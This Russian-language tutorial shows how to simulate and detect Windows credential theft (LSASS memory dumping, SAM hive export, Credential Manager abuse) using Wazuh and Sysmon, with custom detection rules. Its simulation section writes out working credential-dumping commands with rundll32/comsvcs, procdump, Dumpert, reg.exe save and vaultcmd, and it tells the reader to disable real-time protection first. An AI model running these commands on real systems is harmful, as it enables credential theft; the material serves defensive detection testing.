Введение
Несанкционированный доступ к учетным данным стал критической проблемой безопасности для организаций. Он позволяет злоумышленникам добраться до систем, расширить атаку и повысить привилегии в целевой среде. Этот подход помогает избежать обнаружения и облегчает преступную деятельность.
Чтобы эффективно выявлять и реагировать на несанкционированный доступ к учетным данным в Windows, организации должны внедрить надежную систему мониторинга безопасности для обнаружения необычного поведения.
В этой публикации показано, как имитировать и выявлять следующие атаки:
- Дамп памяти подсистемы локального центра безопасности (LSASS)
- Экспорт куста реестра диспетчера учетных записей безопасности (SAM)
- Использование диспетчера учетных данных Windows
Примечание: мы выступаем против злонамеренного хакерства. Данное руководство следует использовать исключительно для проверки качества работы инструментов безопасности в собственных системах.
Инфраструктура
- Предварительно внедренная и готовая к использованию Wazuh OVA 4.5.1. Эта виртуальная машина содержит центральные компоненты Wazuh (сервер, indexer, дешборд).
- Установленная и зарегистрированная на сервере Wazuh конечная точка Windows 11 с агентом Wazuh 4.5.1.
Основные цели злоумышленников в системе Windows
- Локальные аккаунты
- Аккаунты домена
- Браузеры
- Менеджеры паролей
- Диспетчер учетных данных Windows
Техники атак
Дамп памяти LSASS
Это техника, которую используют злоумышленники для кражи чувствительной информации, в частности учетных данных, из скомпрометированной системы. Служба подсистемы локального центра безопасности (LSASS) является критически важным процессом Windows, который отвечает за связанные с безопасностью функции, включая аутентификацию пользователей и хранение учетных данных. Извлекая память LSASS, злоумышленники могут получить доступ к незашифрованным паролям и другой чувствительной информации.
Некоторые вариации этой техники:
- Использование Procdump, Process Explorer или Dumpert: некоторые злоумышленники выбирают специализированные инструменты, которые обеспечивают больший контроль и гибкость, позволяя им нацелиться на конкретные места в памяти и извлечь чувствительную информацию.
- Rundll32.exe MiniDump с comsvcs: rundll32.exe – это легитимный процесс Windows, необходимый для работы функций динамически подключаемой библиотеки (DLL). Злоумышленники могут использовать одну из них – MiniDump, чтобы извлечь содержимое памяти LSASS в файл DMP (дамп).
К примеру, для этих целей они также могут эксплуатировать возможности служб компонентов (comsvcs) DLL. Вызывая соответствующие функции, злонамеренные хакеры извлекают память LSASS и сохраняют ее в файле DMP для дальнейшего анализа.
Экспорт куста реестра SAM
Диспетчер учетных записей безопасности (SAM) является важным компонентом инфраструктуры безопасности Windows. Он является файлом базы данных, который хранит информацию о локальных аккаунтах пользователей и учетных данных. Это включает чувствительную информацию, например хеши паролей для аутентификации. База данных SAM является фундаментальной частью подсистемы безопасности Windows и играет немаловажную роль в защите учетных записей пользователей и системных ресурсов.
Эксплуатация осуществляется с помощью законной утилиты Windows reg.exe для взаимодействия с системным реестром. Экспортируя его кусты, злоумышленники могут получить доступ к учетным данным в автономном режиме. Это позволяет им взламывать пароли и совершать другие вредоносные действия.
Эксплуатация диспетчера учетных данных Windows
Диспетчер учетных данных Windows – это встроенная функция в операционных системах Microsoft Windows, которая позволяет пользователям хранить и управлять различными учетными данными, такими как юзернеймы, пароли и другая информация для аутентификации. Этот инструмент помогает упростить процесс входа в различные приложения, веб-сайты и сетевые ресурсы. Однако его использование также делает его мишенью для злонамеренных хакеров, которые хотят украсть эти чувствительные учетные данные.
Методы эксплуатации включают:
- Использование rundll32.exe и сервиса управления ключами: злоумышленники часто используют этот процесс для взаимодействия с диспетчером учетных данных Windows. В частности, они могут использовать файл keymgr.dll для манипулирования учетными данными и утилитой credwiz для создания их резервной копии (в файл .crd). Следует обращать внимание на случаи, когда rundll32.exe используется с командами, которые включают keymdr.dll, особенно с аргументом KRShowKeyMgr.
- Перечисление процесса VaultCmd: злоумышленники могут использовать его для получения информации о сохраненных учетных данных. Для обнаружения такой атаки следует обращать внимание на команды vaultcmd, которые содержат аргумент listcmd.
Обнаружение с помощью Wazuh
Интеграция Sysmon
Следует выполнить следующие действия, чтобы настроить агент Wazuh для сбора журналов Sysmon и их отправки на сервер Wazuh для анализа:
1) Скачать Sysmon со страницы Microsoft Sysinternals с файлом конфигурации sysmonconfig.xml на конечной точке Windows 11.
2) Выполнить эту команду от имени администратора для установки Sysmon с загруженным файлом конфигурации через PowerShell:
> .\sysmon.exe -accepteula -i sysmonconfig.xml
3) Настроить агент Wazuh для сбора событий Sysmon, добавив следующие параметры для файла конфигурации агента в C:\Program Files (x86)\ossec-agent\ossec.conf:
<ossec_config>
<localfile>
<location>Microsoft-Windows-Sysmon/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
</ossec_config>
4) Перезапустить агент с помощью команды PowerShell от имени администратора:
> Restart-Service -Name wazuh
Конфигурация сервера Wazuh
1) Добавить следующие правила в файл /var/ossec/etc/rules/local_rules.xml для генерирования уведомлений на дешборде Wazuh в случае проведения любой из указанных выше атак:
<group name="Windows,attack,">
<!-- Detecting an LSASS memory dumping attack using Rundll32.exe Minidump Function or Comsvcs.dll Exploitation -->
<rule id="100010" level="10">
<if_sid>61609</if_sid>
<field name="win.eventdata.image" type="pcre2">(?i)\\\\rundll32.exe</field>
<field name="win.eventdata.imageLoaded" type="pcre2">(?i)[c-z]:\\\\Windows\\\\System32\\\\comsvcs\.dll</field>
<description>Possible adversary activity - LSASS memory dump: $(win.eventdata.imageLoaded) loaded by using $(win.eventData.image) on $(win.system.computer).</description>
<mitre>
<id>T1003.001</id>
</mitre>
</rule>
<!-- Detecting an LSASS memory dumping attack using specialized tools -->
<rule id="100011" level="10">
<if_sid>61613</if_sid>
<field name="win.eventData.targetFilename" type="pcre2">(?i)\\\\[^\\]*\.dmp$</field>
<field name="win.eventData.image" negate="yes" type="pcre2">(?i)\\\\lsass.*</field>
<description>Possible adversary activity - LSASS memory dump: $(win.eventdata.image) created a new file on $(win.system.computer) endpoint.</description>
<mitre>
<id>T1003.001</id>
</mitre>
</rule>
<!-- Detecting a Windows Credential Manager exploitation attack -->
<rule id="100012" level="10">
<if_sid>61603</if_sid>
<field name="win.eventData.Image" type="pcre2">(?i)\\\\rundll32.exe</field>
<field name="win.eventData.commandLine" type="pcre2">keymgr.dll,KRShowKeyMgr</field>
<description>Possible adversary activity - Credential Manager Access via $(win.eventData.Image) on $(win.system.computer) endpoint.</description>
<mitre>
<id>T1003</id>
</mitre>
</rule>
<!-- Detecting a Windows Credential Manager exploitation attack by VaultCmd process enumeration -->
<rule id="100013" level="10">
<if_sid>92052</if_sid>
<field name="win.eventData.image" type="pcre2">(?i)\\\\vaultcmd.exe</field>
<field name="win.eventData.commandLine" type="pcre2">list</field>
<description>Possible adversary activity - Attempt to list credentials via $(win.eventData.Image) on $(win.system.computer) endpoint.</description>
<mitre>
<id>T1003</id>
</mitre>
</rule>
</group>
В котором срабатывают правила:
- ID 100010 – в случае дампа памяти LSASS с помощью утилит rundll32.exe и comsvcs.dll.
- ID 100011 – при дампе памяти LSASS с использованием инструментов, таких как procdump или dumpert.
- ID 100012 – если к диспетчеру учетных данных получают доступ и проводят резервное копирование.
- ID 100013 – в случае создания списка учетных данных Windows с помощью утилиты vaultcmd.exe.
3) Перезапустить менеджер Wazuh:
# systemctl restart wazuh-manager
Имитация атак
Необходимо выполнить следующие команды в Powershell с правами администратора.
Дамп памяти LSASS
Rundll32.exe MiniDump с comsvcs
Нужно выполнить эту команду для имитации атаки с помощью rundll32.exe и comsvcs.dll:
> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
Использование специализированных инструментов
Примечание: система безопасности Windows может блокировать их работу. Необходимо отключить защиту в режиме реального времени на конечной точке Windows 11, чтобы провести имитацию атак с помощью Procdump, Process Explorer или Dumpert.
Procdump:
Это утилита командной строки, разработанная компанией Sysinternals, которую можно использовать для дампа памяти процессов, включая LSASS.
Для имитации атаки необходимо:
1) Скачать Procdump с веб-сайта Microsoft:
> Invoke-WebRequest https://download.sysinternals.com/files/Procdump.zip -OutFile procdump.zip
2) Перейти к месту загрузки и распаковать сжатый файл с помощью команды:
> Expand-Archive procdump.zip
3) Запустить файл в каталоге Procdump следующим образом:
> cd procdump
> .\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Результат должен быть таким:
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[20:04:09] Dump 1 initiated:
C:\Users\Lab\Downloads\Procdump\lsass.dmp
[20:04:09] Waiting for dump to complete...
[20:04:09] Dump 1 writing: Estimated dump file size is 45 MB.
[20:04:14] Dump 1 complete: 45 MB written in 5.4 seconds
[20:04:14] Dump count reached.
Dumpert:
Это утилита для дампа памяти, разработана Outflank. Она использует системные вызовы и технику отключения API для проведения атаки. Для ее имитации необходимо:
1) Скачать Dumpert с помощью команды ниже:
> Invoke-WebRequest https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe -OutFile Outflank-Dumpert.exe
2) Запустить файл следующим образом:
> .\Outflank-Dumpert.exe
Результат должен быть таким:
________ __ _____.__ __
\_____ \ __ ___/ |__/ ____\ | _____ ____ | | __
/ | \| | \ __\ __\| | \__ \ / \| |/ /
/ | \ | /| | | | | |__/ __ \| | \ <
\_______ /____/ |__| |__| |____(____ /___| /__|_ \
\/ \/ \/ \/
Dumpert
By Cneeliz @Outflank 2019
[1] Checking OS version details:
[+] Operating System is Windows 10 or Server 2016, build number 22621
[+] Mapping version specific System calls.
[2] Checking Process details:
[+] Process ID of lsass.exe is: 852
[+] NtReadVirtualMemory function pointer at: 0x00007FFA6D86F520
[+] NtReadVirtualMemory System call nr is: 0x3f
[+] Unhooking NtReadVirtualMemory.
[3] Create memorydump file:
[+] Open a process handle.
[+] Dump lsass.exe memory to: \??\C:\Windows\Temp\dumpert.dmp
[+] Dump succesful.
Экспорт куста реестра SAM
Базу данных SAM можно найти в каталоге %SystemRoot%\System32\config\SAM. Для получения данных из куста можно использовать различные техники и инструменты, такие как SAMInside, PwDump и встроенный редактор реестра Windows (Regedit).
Необходимо выполнить одну из следующих команд для имитации экспорта куста реестра SAM с помощью утилиты regedit:
> reg.exe save hklm\sam sam.save
> reg.exe save hklm\system system.save
Вышеперечисленные команды сделают бекап или сохранят копию диспетчера учетных записей безопасности Windows (SAM) и куста HKEY_LOCAL_MACHINE\SYSTEM реестра Windows. Затем злоумышленники могут использовать их для получения хешей всех локальных аккаунтов в системе.
Эксплуатация диспетчера учетных данных Windows
Использование rundll32.exe и процесса управления ключами
Нужно выполнить команду:
> rundll32 keymgr.dll,KRShowKeyMgr
Она открывает «Сохраненные имена пользователей и пароли» на конечной точке Windows. Это облегчает злоумышленникам создание резервной копии списка учетных данных.
Перечисление процессов VaultCmd
Надо выполнить эту команду, чтобы запустить процесс vaultcmd для получения списка учетных данных, которые находятся в отведенном для них хранилище:
> vaultcmd /listcreds:"Windows Credentials" /all
Результат обнаружения
После выполнения каждой имитации атаки на дешборде Wazuh будут отображаться разные события, как показано на изображении ниже:

Примечание: собственное правило Wazuh 92026 запускается в случае дампа куста реестра SAM.







